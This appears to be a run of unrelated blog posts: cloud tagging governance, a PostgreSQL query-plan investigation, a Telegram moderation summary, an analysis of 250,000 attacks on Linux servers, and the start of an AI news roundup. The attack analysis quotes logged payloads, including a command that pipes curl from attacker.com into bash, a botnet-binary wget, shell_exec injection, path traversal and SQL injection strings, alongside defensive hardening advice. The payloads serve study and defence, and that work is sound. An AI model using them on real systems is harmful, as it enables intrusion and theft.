A consumer might want to tag resources with deployment version numbers, feature flags, team-specific identifiers, or automation triggers. These tags serve the consumer’s operational needs, not the organisation’s reporting needs. The Provider doesn’t define them, doesn’t enforce them, and doesn’t manage them.

What the Provider can do, and should do, is provide guidance. A set of recommended operational tags, published as suggestions rather than mandates, helps consumers who aren’t sure what to tag or how. Tags like CostCentre (for project-level cost tracking below the mandatory CostCode), ManagedBy (Terraform, CloudFormation, manual), or BackupPolicy (daily, weekly, none) are operationally useful and don’t need to be mandated to be valuable.

The Provider can also provide tag validation tooling that consumers can optionally adopt. Linting rules in the CI/CD pipeline that warn (but don’t block) when recommended tags are missing. Dashboard views that show tag coverage across a consumer’s account. These are nudges, not guardrails, and the distinction really matters.

Mandatory tags get guardrails. Consumer tags get guidance. Conflating the two undermines both.

The ServiceNow Form: Designed for Data, Not for Tagging

This is where the consumer experience either succeeds or fails.

A poorly designed form asks the consumer to provide tagging data. It has fields labelled “Business Division Tag,” “Cost Centre Tag,” and “Application Name Tag.” The consumer sees these and thinks “I don’t know what half of these mean” or “I’ll come back to this later” (they won’t). The form creates friction, and friction creates gaps and gaps create delays in environment vending.

Behind the form, the platform team has mapped every field to a tag key and configured lookups against the sources of truth. The business division dropdown pulls from a source of truth. The cost centre field validates against SAP. The application name resolves against the enterprise architecture tool. The consumer selects from a dropdown and the pipeline writes the value to the account. The consumer types a cost centre and the pipeline validates it exists before writing.

This form is the interface between the consumer’s knowledge and the Provider’s tagging system. When it’s designed well, the consumer knows what information is required well up front and fills it out in five minutes, the pipeline has everything it needs, and mandatory tags arrive fully populated and validated before the account is even created. The consumer never typed a tag key. They never formatted a tag value. They answered questions about their workload, and the platform did the rest.

Resource Inheritance: Why Account Segregation Makes This Work

The inheritance model (where resources automatically carry the mandatory tags of their parent account) only works if accounts are properly segregated. And this is a design decision the Provider must make early, because retrofitting it later is pain – real pain.

The principle is straightforward. One account per workload per environment. The production instance of Application X lives in one account. The development instance lives in another. The staging instance lives in a third. Each account has mandatory tags that describe that specific combination of workload and environment.

When a consumer provisions an ECS/EC2 instance, an RDS database, or an S3 bucket in that account, the resource inherits the account’s mandatory tags. The Business Division tag is correct because the account belongs to that division. The Application Name tag is correct because the account hosts that application. The Environment tag is correct because the account is dedicated to that environment. The Cost Code is correct because the cost centre covers all resources in that workload’s environment.

There’s no need for the consumer to tag each resource individually with organisational metadata. The account is the tagging boundary. Everything inside it inherits. This eliminates the most common source of tagging inconsistency in large estates: resources within the same account tagged differently because different team members provisioned them at different times with different understandings of what the values should be.

Account segregation also eliminates the shared account problem, you know which one I mean.. The scenario where a single account hosts resources from multiple applications owned by different teams with different cost centres. In a shared account, tagging has to happen at the resource level because the account-level tags can’t represent multiple owners. This is fragile, error-prone, and impossible to enforce consistently. Proper account segregation makes it unnecessary.

The Tags That Drive Everything

Let’s be specific about what mandatory tags actually enable, because the payoff is what justifies the investment in the pipeline.

Financial reporting and cost allocation. When every account carries a validated Business Division, and Cost Code tag, cost allocation becomes automatic. AWS Cost Explorer can slice spend by any of these dimensions without manual intervention. FinOps teams can produce division-level cost reports that match the financial system because the tag values are sourced from the financial system. There’s no reconciliation step. There’s no “unallocated” bucket growing larger every month. The tags are the reporting layer, and because they’re mandatory and immutable, the reports are trustworthy. This paves the way for successful integration of enterprise level FinOps tooling that can deliver incredible insights and value.

Security and compliance ownership. The Security Owner and Technical Owner tags establish clear accountability for every account and every resource within it. When a vulnerability is discovered, the security team doesn’t need to dig through wikis or Slack/Teams channels to find who owns the affected resource. The tag tells them. When a compliance audit requires evidence of ownership for production workloads, the tag provides it. Automated incident routing can use these tags to page the right person at 2am without human triage.

Operational efficiency. Tags like Application Name, Application ID, and Environment enable automation that would be impossible without consistent metadata. Automated backup policies keyed to environment type. Monitoring thresholds that differ between production and development. Cost anomaly detection scoped to individual applications rather than entire accounts. Each of these automations depends on tags being present, accurate, and consistent (exactly what mandatory tagging through the Provider pipeline guarantees).

Discovery and migration planning. When an organisation needs to assess its cloud estate (for migration, for rationalisation, for M&A due diligence), mandatory tags provide the map. Every account can be categorised by business division, application, environment, and ownership without manual investigation. A query against AWS Organisations returns a complete inventory, tagged and classified, ready for analysis. Without mandatory tags, this same exercise takes weeks of interviews, spreadsheet reconciliation, and educated guessing.

Governance That Doesn’t Feel Like Governance

This is the part that matters most, and it’s the part that most tagging strategies miss the mark on.

Good governance is invisible to those being governed. If your consumers feel the weight of your tagging policy, if they’re spending time looking up tag values, formatting keys correctly, remembering which tags are mandatory, then your governance is creating friction, and friction erodes compliance over time. People start cutting corners. They copy tags from another resource without checking if they’re correct. They leave optional-but-important fields blank because the form is already too long.

Mandatory tagging through the Provider-Consumer model removes all of this. The governance is in the pipeline, not in the consumer’s workflow. The consumer’s experience is > request an account, answer some questions about your workload, get a fully provisioned environment, start building. The tags are there. They’re correct. They’ll stay correct. And the consumer never had to think about them.

This is what it means to build for consumability in the context of tagging. You’re not building a tagging policy. You’re building a tagging system that operates as infrastructure, fully automated, validated, enforced, and invisible to the people it serves. The reporting works because the data is clean. The data is clean because the pipeline ensures it. The pipeline ensures it because the Provider owns it end to end.

Tags aren’t a practice. They’re plumbing. And like all good plumbing, the best measure of success is that nobody thinks about it until something goes wrong, which, if you’ve built it right, it won’t (famous last words 😉)

Mandatory tags don’t ask for compliance. They deliver it. Build the pipeline, own the taxonomy, and let your consumers focus on what they’re actually here to do, build and operate!

Debugging PostgreSQL Query Plan Instability in Production

The query plan is only as good as the statistics behind it. When those statistics are wrong, the planner makes confident decisions based on a false reality.

We run a field technician dispatch system on PostgreSQL 14. The core query — find technicians matching specific dispatch criteria near a job site — ran in 3ms at 10am and 42ms at 2pm the same day. Same query text. Same bind parameters. The only thing that changed was the number of technicians available — as the fleet clocked in and dispatched through the day, the underlying data distribution shifted just enough to flip the query plan.

This post is the story of how we traced a 14x latency regression to a fundamental assumption baked into every cost-based query optimizer, and why our existing composite index didn’t help. Along the way, we’ll dig into pg_statistic, selectivity estimation, BitmapAnd mechanics, and the specific ways correlated boolean columns break the planner’s world model.

But first — if you’ve never looked at how PostgreSQL decides whether to use your index, let’s build up from first principles.

How PostgreSQL Chooses a Query Plan

PostgreSQL doesn’t just “use the index.” It evaluates multiple execution strategies and picks the one with the lowest estimated cost. This is the cost-based optimizer.

The optimizer doesn’t see your data. It sees a statistical summary stored in pg_statistic (exposed via the pg_stats view). When ANALYZE runs — manually or via autovacuum — PostgreSQL samples rows and builds per-column statistics: most common values (MCVs), histograms, distinct counts, and null fractions.

For a single predicate like WHERE is_available = true, the planner looks up the MCV frequency for is_available. If true appears at 0.50, the estimated rows on a 15,000-row table is 7,500.

For multiple predicates, it applies the independence assumption:

P(A AND B AND C) = P(A) × P(B) × P(C)

This is correct if and only if the columns are statistically independent. The PostgreSQL docs are explicit:

“The planner normally assumes that multiple conditions are independent of each other, an assumption that does not hold when column values are correlated.”
— Chapter 14.2: Statistics Used by the Planner

When the assumption holds, estimates are accurate. When it doesn’t, they can be off by orders of magnitude. Our query hit the second case.

The Setup: Our Table and Query

How we ended up with six booleans

The technicians table tracks every field technician in the system — roughly 15,000 rows. It didn’t start with six boolean columns. It started with two: is_active and is_available. Then we needed to track whether a technician was currently on a job, so is_dispatched arrived. A compliance incident led to is_blocked. Express delivery became a feature, so is_express_enabled. An ops request for soft-disabling technicians without removing them added is_suspended. Each boolean made sense in isolation, each was a small migration, and each shipped independently over about eighteen months.

CREATE TABLE technicians (
    id              BIGSERIAL PRIMARY KEY,
    zone_id         INTEGER NOT NULL,
    is_active       BOOLEAN NOT NULL DEFAULT false,
    is_available    BOOLEAN NOT NULL DEFAULT false,
    is_dispatched   BOOLEAN NOT NULL DEFAULT false,
    is_blocked      BOOLEAN NOT NULL DEFAULT false,
    is_express_enabled BOOLEAN NOT NULL DEFAULT false,
    is_suspended    BOOLEAN NOT NULL DEFAULT false,
    last_job_location GEOMETRY(Point, 4326),
    -- ... other columns
);

The technician_locations table stores real-time GPS positions (one row per technician, updated every few seconds).

Key indexes

-- Composite boolean index WITH zone
CREATE INDEX idx_technician_selection_v2 ON technicians
    (zone_id, is_active, is_available, is_dispatched, is_blocked, is_express_enabled, is_suspended);

-- Composite boolean index WITHOUT zone
CREATE INDEX idx_technician_selection ON technicians
    (is_active, is_available, is_dispatched, is_blocked, is_express_enabled, is_suspended);

-- Spatial index on last job location
CREATE INDEX idx_technician_last_job_geom ON technicians USING gist (last_job_location);

-- Spatial index on live GPS location
CREATE INDEX idx_technician_location_geom ON technician_locations USING gist (current_location);

The allocation query

The query finds technicians matching specific dispatch criteria within a geographic radius:

SELECT t.*, tl.*, ts.*
FROM technicians t
    INNER JOIN technician_locations tl ON t.id = tl.technician_id
    LEFT JOIN technician_stats ts ON t.id = ts.technician_id
    LEFT JOIN daily_utilization du ON t.id = du.technician_id
    -- ... additional left joins for tagging, blocklists, queue state
WHERE t.is_active = true
  AND t.is_available = true
  AND t.is_dispatched = true
  AND t.is_blocked = false
  AND t.is_express_enabled = true
  AND t.is_suspended = false
  AND ST_DWithin(tl.current_location, ST_SetSRID(ST_MakePoint(?, ?), 4326)::geography, 4000)
  AND tl.reported_at > now() - interval '20 minutes';

Six boolean conditions on technicians, plus a spatial predicate on technician_locations. Looks straightforward. The problem is entirely in how the planner estimates the boolean combination.

The Symptom: Same Query, Two Plans

We noticed the issue in our Grafana dashboards. The allocation query’s P50 latency was steady around 4ms, but P99 kept spiking to 40–45ms within the same day. The pattern correlated with fleet activity — as more technicians clocked in and changed dispatch states through the day, the underlying data distribution shifted. The planner’s statistics drifted with it, and the plan flipped.

When we pulled EXPLAIN ANALYZE hours apart on the same day, we saw two completely different plans.

The fast plan (~3ms): BitmapAnd

BitmapAnd  (cost=146.22..146.22 rows=4 width=0) (actual time=1.83..1.83 rows=0 loops=1)
  -> Bitmap Index Scan on idx_technician_selection
       (cost=0.00..5.22 rows=38 width=0) (actual time=0.45..0.45 rows=8720 loops=1)
       Index Cond: (is_active = true) AND (is_available = true) AND (is_dispatched = true)
                   AND (is_blocked = false) AND (is_express_enabled = true) AND (is_suspended = false)
  -> Bitmap Index Scan on idx_technician_last_job_geom
       (cost=0.00..140.75 rows=1628 width=0) (actual time=1.20..1.20 rows=8419 loops=1)
       Index Cond: (last_job_location && <bounding box>)

Bitmap Heap Scan on technicians t
    Heap Blocks: exact=191
    -> BitmapAnd (above)
    Filter: ST_DWithin(last_job_location, ..., 4000)
    Rows Removed by Filter: 92
    -> actual rows=1

Execution Time: 3.155 ms

The planner used BitmapAnd — it scanned both the boolean index and the spatial index on technicians, intersected the two bitmaps in memory, and only fetched 191 heap pages. One row survived all filters. Fast.

The slow plan (~42ms): Boolean index only

Bitmap Heap Scan on technicians t
    (cost=5.47..1205.33 rows=38 width=824) (actual time=0.62..8.14 rows=4626 loops=1)
  -> Bitmap Index Scan on idx_technician_selection
       (cost=0.00..5.22 rows=38 width=0) (actual time=0.48..0.48 rows=4626 loops=1)
       Index Cond: (is_active = true) AND (is_available = true) AND (is_dispatched = true)
                   AND (is_blocked = false) AND (is_express_enabled = true) AND (is_suspended = false)

  Nested Loop (actual loops=4558)
    -> Index Scan on technician_locations tl
         Index Cond: (technician_id = t.id)
         Filter: ST_DWithin(current_location, ..., 4000)
         loops=4558

Execution Time: 42.008 ms

The planner used only the boolean index. No spatial index. It fetched 4,626 rows from technicians, then nested-loop joined into technician_locations 4,558 times, applying ST_DWithin as a CPU filter on each loop. 14x slower.

Side by side

Metric Fast Plan (BitmapAnd) Slow Plan (Boolean only)
Strategy BitmapAnd (boolean + spatial) Bitmap Scan (boolean only)
Estimated rows from boolean index 38 38
Actual rows from boolean index 8,720 4,626
Heap pages fetched 191 4,626 nested loops
Spatial index used? Yes No
Execution time 3.1ms 42ms

A few things jump out. The estimated row count is 38 in both plans. That’s the planner’s selectivity estimate for the boolean combination. But the actual count is thousands of rows. The estimate is wrong by two orders of magnitude.

The difference between the plans isn’t that one has better estimates — both are equally wrong. The difference is what the planner decided to do with that bad estimate.

The Root Cause: 229x Underestimate

The selectivity math

The planner looks up each boolean column’s frequency independently from pg_statistic and multiplies them together:

is_active = true:          ~70%  → 0.70
is_available = true:       ~50%  → 0.50
is_dispatched = true:      ~25%  → 0.25
is_blocked = false:        ~95%  → 0.95
is_express_enabled = true: ~40%  → 0.40
is_suspended = false:      ~95%  → 0.95

Combined (assuming independence):
  0.70 × 0.50 × 0.25 × 0.95 × 0.40 × 0.95 = 0.0025

  15,000 rows × 0.0025 = 38 rows

The planner arrives at 38. The actual number is 8,720. That’s a 229x underestimate.

Why the multiplication is wrong

These columns are not independent. They encode a finite state machine — the operational lifecycle of a field technician. The business logic enforces hard constraints between them:

Column A Column B Relationship
is_active is_available Available implies active
is_active is_dispatched Dispatched implies active
is_available is_dispatched Dispatched implies available
is_blocked is_active Blocked implies not active
is_suspended is_active Suspended implies not active
is_suspended is_available Suspended implies not available

In practice, 5 of the 6 booleans encode roughly 6 valid states (the sixth, is_express_enabled, is an independent capability flag):

State is_active is_available is_dispatched is_blocked is_suspended
SUSPENDED F F F F T
BLOCKED F F F T F
INACTIVE F F F F F
OFFLINE T F F F F
IDLE T T F F F
DISPATCHED T T T F F

That’s 6 valid states out of 2^5 = 32 theoretical combinations. The planner treats all 32 as equally possible and weights them accordingly. It doesn’t know that is_blocked = true AND is_active = true can never occur in practice.

Actual selectivity of the boolean combination: ~58% (8,720 / 15,000)
Planner’s estimate: 0.25% (38 / 15,000)
Error factor: 229x

The PostgreSQL docs even demonstrate this exact failure mode:

“The planner estimates the selectivity for each condition individually… Then it assumes that the conditions are independent, and so it multiplies their selectivities, producing a final selectivity estimate of just 0.01%. This is a significant underestimate, as the actual number of rows matching the conditions (100) is two orders of magnitude higher.”
— Multivariate Statistics Examples

Why the Plan Flips: ANALYZE Sampling Non-Determinism

The 229x underestimate explains why the slow plan is slow. But why does the query sometimes get the fast plan?

Because the estimate isn’t always exactly 38 — it drifts. ANALYZE takes a random sample, not a census:

“The statistics are only approximate, and will change slightly each time ANALYZE is run, even if the actual table contents did not change. This might result in small changes in the planner’s estimated costs. In rare situations, this non-determinism will cause the planner’s choices of query plans to change after ANALYZE is run.”
— ANALYZE command reference

Our technicians table is high-churn — technicians toggle is_dispatched hundreds of times per day across the fleet. As the number of available technicians changes through the day, each ANALYZE sample captures a different snapshot. The boolean estimate drifts — and the plan is sensitive to that drift.

The tipping point

The planner’s decision to include the spatial index in a BitmapAnd has a cost threshold. When the boolean estimate is “moderate” (say, 30–50 rows), the planner decides it’s worth adding a second index scan to intersect. When the estimate drops below a threshold (say, 8–15 rows), the planner decides the boolean index alone is good enough and drops the spatial index.

When the boolean estimate is ~38:

Planner: "Boolean index returns ~38 rows. That's moderate.
          Adding the spatial index scan (est. 1,628 rows) and
          intersecting bitmaps will reduce heap fetches to ~4.
          The extra index scan is worth it."

Plan: BitmapAnd(boolean_index + spatial_index)
Result: 191 heap pages, 1 row survives → 3ms

When the boolean estimate drops to ~10:

Planner: "Boolean index returns only ~10 rows. That's already tiny.
          A second index scan costs more than just filtering 10 rows
          by distance. Not worth the overhead."

Plan: Bitmap Scan on boolean index only, ST_DWithin as CPU filter
Result: 8,720 rows scanned, spatial filter on every row → 42ms

The perverse incentive

Here’s the cruel part: the MORE wrong the boolean estimate is (in the “too low” direction), the MORE confident the planner becomes that BitmapAnd is unnecessary — and the WORSE the actual performance gets. The planner drops the spatial index precisely when it would help the most.

Autovacuum is the trigger

Autovacuum triggers ANALYZE when the number of changed tuples exceeds autovacuum_analyze_threshold + autovacuum_analyze_scale_factor × table_size. With default settings, that’s 50 + 0.10 × 15,000 = 1,550 tuple changes. On a table with thousands of state transitions per minute during peak hours, this threshold is crossed constantly. ANALYZE can fire multiple times within a few minutes, each time producing a slightly different boolean estimate that may or may not cross the BitmapAnd decision boundary.

BitmapAnd: How It Works and Why It’s Fragile

BitmapAnd scans multiple indexes on the same table, builds a bitmap of matching heap page locations for each, and intersects them. Only pages in the intersection get fetched. In our fast plan, it intersects boolean-matching pages with spatial-matching pages, reducing thousands of candidates down to 191 heap pages.

Two things make it fragile for our case:

Same-table only. BitmapAnd can’t combine indexes across different tables. Our spatial filter is on technician_locations, our boolean filter is on technicians — that’s a join, not a merge. BitmapAnd only helps when both indexes live on the same table (like the last_job_location GiST index and the boolean index, both on technicians).

Cost-sensitive inclusion. Each additional bitmap index scan has a startup cost. When the boolean estimate is low enough, the planner decides the second index scan isn’t worth it:

“Because each additional index scan adds extra time, the planner will sometimes choose to use a simple index scan even though additional indexes are available that could have been used as well.”
— Chapter 11.5: Combining Multiple Indexes

The planner concludes: “I only expect 10 rows from the boolean index — filtering them by distance is cheaper than running a second index scan.” The math is correct given the premise. The premise is just 229x wrong.

Why Our Composite Index Didn’t Help

We already had a composite index on all six boolean columns. The natural assumption was: “PostgreSQL has an index on exactly this combination — surely it knows how many rows match?”

It doesn’t. A composite index helps PostgreSQL find rows efficiently (access path), but it does NOT help PostgreSQL estimate how many rows exist before scanning (cardinality estimation). These are two separate systems.

“No entry is made for an ordinary non-expression index column, however, since it would be redundant with the entry for the underlying table column.”
— pg_statistic catalog

ANALYZE samples heap pages and builds per-column MCVs independently. The B-tree’s internal knowledge of which key combinations exist is never extracted into planner statistics. Our composite index found the right rows perfectly every time — the problem was that the planner’s estimate of how many rows it would find was 229x too low, causing it to choose a bad join strategy around the index.

Only two things can store combination frequencies:

  1. CREATE STATISTICS (mcv) — explicit opt-in, stores multi-column MCV lists
  2. A single enum/status column — collapses the combination into one value

The Anti-Pattern: Dependent Booleans in OLTP

This isn’t just a query tuning story. It’s a schema design lesson.

When you model a state machine as independent boolean columns, you’re making an implicit promise to the database: “these columns are independent dimensions.” Every cost-based optimizer — PostgreSQL, MySQL, Oracle, SQL Server — takes you at your word. The planner multiplies their selectivities because that’s mathematically correct for independent variables.

The problem is that the promise is false. is_available and is_dispatched aren’t independent dimensions — they’re states in a lifecycle. One implies the other. The planner can’t know this from the schema alone.

This pattern tends to emerge organically. You start with is_active. A feature ships, you add is_available. A compliance requirement adds is_blocked. Each column is a small, low-risk migration. Nobody notices that the columns are accumulating mutual dependencies until the planner starts making bad decisions — and even then, the symptom (intermittent latency spikes) doesn’t obviously point at schema design.

The fix is to model state as state. If your boolean columns have business-logic dependencies between them — if certain combinations can never occur — they should be a single enum or status column. One column, one MCV lookup, no multiplication error. WHERE status = 'idle' gives the planner an exact frequency. WHERE is_active = true AND is_available = true AND is_dispatched = false AND ... gives it a guess.

A note on InnoDB

Interestingly, this specific failure mode wouldn’t manifest the same way on MySQL/InnoDB with the same composite index. InnoDB’s optimizer uses a technique called index dive — when estimating the cardinality of a range scan on a composite index, it actually samples the B-tree directly rather than multiplying per-column statistics. For an equality scan across all columns of a composite index (which is what our query does), InnoDB dives into the index, reads a sample of pages at the leaf level, and estimates row count from the actual index structure.

This means InnoDB would see that the combination (true, true, false, false, true, false) maps to ~8,700 leaf entries, not 38. The estimate would be roughly correct, and the optimizer wouldn’t make the same bad join order decision.

PostgreSQL doesn’t do index dives for cardinality estimation. It always goes back to pg_statistic and multiplies. The composite index is invisible to the estimation layer — it’s only visible to the execution layer. This is a deliberate design choice (keeping statistics separate from access paths), but it means PostgreSQL is more vulnerable to correlated-column estimation errors than InnoDB is, even when the right composite index already exists.

Wrapping Up

  • Always compare estimated vs. actual rows in EXPLAIN ANALYZE. If they diverge by more than 10x, the planner is making decisions based on a false premise.

  • Composite indexes don’t fix estimation in PostgreSQL. They help the executor find rows, but pg_statistic stores per-column statistics independently. The planner still multiplies. (InnoDB’s index dives would handle this better.)

  • Model state as state, not as independent booleans. If your boolean columns have mutual dependencies — if certain combinations can never occur — they belong in a single enum column.

PostgreSQL’s cost-based optimizer is remarkably good. But it operates on a statistical model of your data, not the data itself. When your schema encodes assumptions that violate the model’s assumptions, the planner makes rational decisions from irrational premises. Understanding where the model breaks is the difference between a query that runs in 3ms and one that runs in 42ms.

Implementing 3-Tier Moderation for Telegram Bots

Binary spam detection (spam or not spam) breaks down in active communities. A forwarded giveaway could be spam or a legitimate user sharing excitement. A message saying “write me” could be a scam CTA or an angry user. We rebuilt our Telegram moderation pipeline into three action tiers using AI for intent classification: tier 1 (ban) for clear spam with profit intent, tier 2 (mute + admin buttons) for ambiguous cases, and tier 3 (3-strike warnings) for links and forwards. The system also auto-detects chat language from linked channel posts using character-set heuristics (їєґ → Ukrainian, ыэъ → Russian). How do you handle the gray area between spam and legitimate messages in your moderation systems?

I analyzed 250,000 attacks on my Linux servers. Here’s what I found.

Defensia dashboard showing 254,177 security events, 50,919 banned IPs, and 23,831 unique attackers across 14 Linux servers with a real-time event feed showing brute force, env probing, RCE attempts, and scanner detection.

I set up real-time monitoring on 14 production Linux servers, a mix of VPS, bare metal, and Docker hosts across DigitalOcean, OVH, Hetzner, and a couple of on-prem boxes. One server hosts 64 domains. Another runs a single Laravel app. They range from 1 vCPU to 8 vCPU, Ubuntu, Debian, CentOS 7, and AlmaLinux.

I wanted to answer a simple question: what’s actually hitting my servers?

I let it run for 35 days. The answer was worse than I expected.

The numbers

Metric Value
Total security events 254,177
Attacks per day (average) 8,400
Unique attacking IPs 23,831
IPs banned automatically 50,919
Repeat offenders (banned 2+ times) 9,827
Permanently banned (4+ offenses) 1,871
Worst single IP Banned 14 times before permanent block

That’s 8,400 attacks per day. Across 14 servers. Every single day.

Defensia dashboard showing 254,177 security events, 50,919 banned IPs, and 23,831 unique attackers across 14 Linux servers with a real-time event feed showing brute force, env probing, RCE attempts, and scanner detection.

What’s attacking you (and what they want)

I’m going to skip the bot crawler noise and focus on what matters: attacks that can actually compromise your server.

SSH brute force — 20,960 events

The most persistent threat. ~700 attempts per day, every day, without exception.

The pattern is always the same: an IP connects, tries 50-200 passwords in 2-3 minutes, then moves on. They target every username you can think of:

root
admin
ubuntu
test
oracle
postgres
deploy
git
ftpuser
minecraft

Most brute force comes in coordinated waves: the same IP hits multiple servers within seconds. With progressive ban escalation (24h first offense, 7 days second, 30 days third, permanent after that), 1,871 IPs have been permanently blocked.

What to do: Disable password auth entirely. Use SSH keys only. Add this to /etc/ssh/sshd_config:

PasswordAuthentication no
PubkeyAuthentication yes
PermitRootLogin prohibit-password

Then systemctl restart sshd. This alone stops 99% of SSH brute force.

.env file probing — 2,376 events

This one should terrify every developer who deploys web apps:

GET /.env HTTP/1.1
GET /.env.local HTTP/1.1
GET /.env.production HTTP/1.1
GET /.env.backup HTTP/1.1
GET /api/.env HTTP/1.1
GET /app/.env HTTP/1.1
GET /laravel/.env HTTP/1.1
GET /wp-content/.env HTTP/1.1

Every single one of my 14 servers gets probed for .env files multiple times per day. They’re looking for database credentials, API keys, APP_KEY, Stripe secrets, everything that’s in your .env.

If your web server serves .env as a static file, you are already compromised. I guarantee it. The scanners are automated and run 24/7.

What to do: Block .env access in your web server config:

# Nginx
location ~ /.env {
    deny all;
    return 404;
}
# Apache
<FilesMatch "^.env">
    Require all denied
</FilesMatch>

Config probing — 739 events

The .env cousins:

GET /wp-config.php
GET /.git/config
GET /.git/HEAD
GET /server-status
GET /.htpasswd
GET /web.config
GET /config.php
GET /database.yml
GET /settings.py

Attackers systematically check for every known config file across every framework. WordPress, Rails, Django, Laravel, Node, they try them all on every IP. They don’t know what you’re running; they just spray and see what responds.

The .git/config one is particularly nasty if your .git directory is exposed, they can download your entire source code including commit history.

Path traversal — 1,362 events

GET /../../etc/passwd
GET /..%2f..%2f..%2fetc/shadow
GET /static/..%252f..%252f..%252fetc/passwd
GET /images/../../../etc/hostname

Note the double URL-encoding: %252f decodes to %2f which decodes to /. This is designed to bypass naive WAFs that only decode once.

They’re trying to escape your web root and read system files — /etc/passwd to enumerate users, /etc/shadow for password hashes, or /proc/self/environ for environment variables.

Remote code execution — 799 events

The scary ones:

GET /cgi-bin/luci/;stok=/locale?form=country&operation=write
    &country=$(curl+attacker.com/shell.sh|bash)

POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

GET /index.php?s=/index/thinkapp/invokefunction
    &function=call_user_func_array&vars[0]=shell_exec
    &vars[1][]=whoami

GET /?cmd=wget+http://185.x.x.x/bins/bot.arm7

Each of these targets a specific CVE:

  • PHPUnit eval-stdin.php — a dev dependency that should never be on production. If it’s accessible, they have full shell access.
  • ThinkPHP RCE — affects ThinkPHP < 5.0.24. Allows arbitrary command execution via URL.
  • Luci router RCE — targets OpenWrt/router admin panels exposed to the internet.
  • Direct wget — tries to download and execute a botnet binary. bot.arm7 tells you they’re targeting IoT devices too.

Web shell access — 40 events

GET /c99.php
GET /r57.php
GET /shell.php
GET /cmd.php
GET /webshell.php
GET /wp-content/uploads/shell.php

They’re checking if a previous attacker already left a web shell on your server. If any of these returns 200, your server is already owned.

Scanner tools — 2,342 events

These User-Agents appear constantly:

sqlmap/1.7
Nuclei - Open-source project (projectdiscovery.io)
Nmap Scripting Engine
masscan/1.3
Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2)

Scanners map your entire attack surface: what software you run, what versions, what ports are open, what known CVEs apply. The results either get used in targeted attacks or sold on forums.

SQL injection — 13 confirmed events

Low volume but high impact. Every attempt is a targeted exploit:

GET /index.php?id=1'+UNION+SELECT+username,password+FROM+users--
GET /search?q=1%27%20OR%201=1--

Low count means most SQL injection gets caught at the application level or by pattern-based WAF rules. But 13 confirmed attempts in 35 days on production servers means it’s real not theoretical.

Everything else

Attack type Events What it targets
FTP brute force 403 vsftpd, ProFTPD credentials
Web exploits (Spring4Shell, Log4Shell, Struts) 176 Known CVEs in Java frameworks
Honeypot triggers 124 Decoy endpoints that only attackers would hit
Mail brute force 30 Postfix SASL, Dovecot IMAP/POP3
Exposed database ports 14 MySQL/PostgreSQL open to internet
DB brute force 5 Direct database auth attempts
SSRF attempts 2 Server-side request forgery

Where the attacks come from

Country Events %
United States 117,171 46.1%
Singapore 60,109 23.6%
France 13,223 5.2%
Russia 10,647 4.2%
Germany 9,628 3.8%
China 7,132 2.8%
United Kingdom 4,607 1.8%
Netherlands 3,254 1.3%
Hong Kong 3,245 1.3%
Brazil 2,251 0.9%

Surprise: the US is #1 by far. Not because Americans are hacking you — because AWS, DigitalOcean, Vultr, and Linode provide cheap VPS that attackers use as launchpads. Singapore at #2 is the same story (AWS ap-southeast-1).

Russia and China combined are only 7%. Blocking “suspicious countries” misses 93% of the traffic.

The timeline: what happens when you deploy a fresh VPS

I tracked the exact timing from several fresh Droplet deployments:

Time What happens
< 1 min Shodan, Censys, Masscan port scan — your IP is indexed
1-3 min First SSH connection attempt (usually root)
3-5 min First brute force wave — 50-100 password guesses
5-15 min First web exploit probe — .env, wp-login.php, .git/config
15-60 min Bot crawlers discover your IP, start scraping everything
1-24 hours Targeted scans based on what they detected (specific CVEs for your stack)

Your server is under attack before you finish your first apt update.

Per-server breakdown

Server Events Notes
VPS with 64 domains 155,901 More domains = more attack surface
VPS with 10 domains 38,924 Second most targeted
Defensia platform server 14,185 Security product = ironic target
Clean DO Droplet (test) 9,500 Fresh server, nothing deployed — still 9,500 attacks
Single-app VPS 7,096 One Laravel app = still thousands of attacks
Internal network server 84 Only reachable via VPN — almost no attacks

The clean Droplet with nothing deployed got 9,500 attacks. The IP alone is enough.

What to do about it

Five things every developer with a Linux server should do:

1. SSH keys only, disable password auth

sed -i 's/#*PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd

This eliminates 100% of SSH brute force. Non-negotiable.

2. Block sensitive file access

# Nginx — add to every server block
location ~ /.(env|git|htpasswd) {
    deny all;
    return 404;
}

Stops .env probing, .git exposure, and .htpasswd leaks.

3. Enable a firewall

ufw default deny incoming
ufw allow ssh
ufw allow http
ufw allow https
ufw enable

Only expose the ports you actually need.

4. Keep software updated

apt update && apt upgrade -y
# Or enable unattended-upgrades for security patches

Most RCE attacks target known CVEs with patches already available.

5. Monitor what’s happening

This is the part most developers skip. Without monitoring, all 254,000 of these events would be completely invisible. You’d never know until something breaks or your server starts sending spam.

At minimum, check your auth log regularly:

grep "Failed password" /var/log/auth.log | tail -20

If you want real-time visibility, I built an open-source agent that does all of this automatically: detects SSH brute force (15 patterns), web attacks (15 OWASP types), and manages bots with a dashboard showing everything in real time.

It’s a single Go binary that installs in one command:

curl -fsSL https://defensia.cloud/install.sh | sudo bash -s -- --token <YOUR_TOKEN>

Also works with Docker and Kubernetes.

The agent is MIT-licensed: github.com/defensia/agent

Free tier includes 1 server with full protection. defensia.cloud

All data is from real production servers monitored between February 24 and March 31, 2026. No synthetic traffic, no test data. Just the internet being the internet.

March 2026 AI Roundup: When AI Moved Deeper Into the Pipeline

AutoResearch

March did not feel like a normal model month.

A lot of the biggest launches were not really about getting a slightly better response from a model. They pushed AI deeper into the work itself. In research, it started running experiments instead of just suggesting them. In software, it started handling longer chains of work instead of waiting for the next prompt. In graphics, it moved closer to the final image.

That was the pattern I kept coming back to all month. Karpathy’s AutoResearch showed how clean and powerful a real research loop can look once an agent is inside it. Cursor, Linear, and Cline showed that orchestration is quickly becoming the real product in AI coding. And NVIDIA DLSS 5 showed what happens when AI stops helping on the margins and starts shaping what people actually see on screen.

AutoResearch

AutoResearch was one of the clearest ideas of the month.

Andrej Karpathy’s setup is simple in the best way. You give an agent a small but real language model training environment. It makes a change to the training code, runs a short experiment, checks whether the result got better, keeps the change if it helped, throws it away if it did not, and keeps going. You come back later to a trail of experiments and, ideally, a better model.

What makes it interesting is that it does not pretend to be some magical research machine. It reduces the whole problem to a tight loop. prepare.py handles the setup. train.py is the file the agent is allowed to edit. program.md is where the human sets the goal and the constraints. Each run gets a fixed five minute budget, and the outcome is judged with a single metric, val_bpb, where lower is better.

How it works in practice

  1. You decide what “better” means and define the target in program.md.
  2. The agent edits train.py.
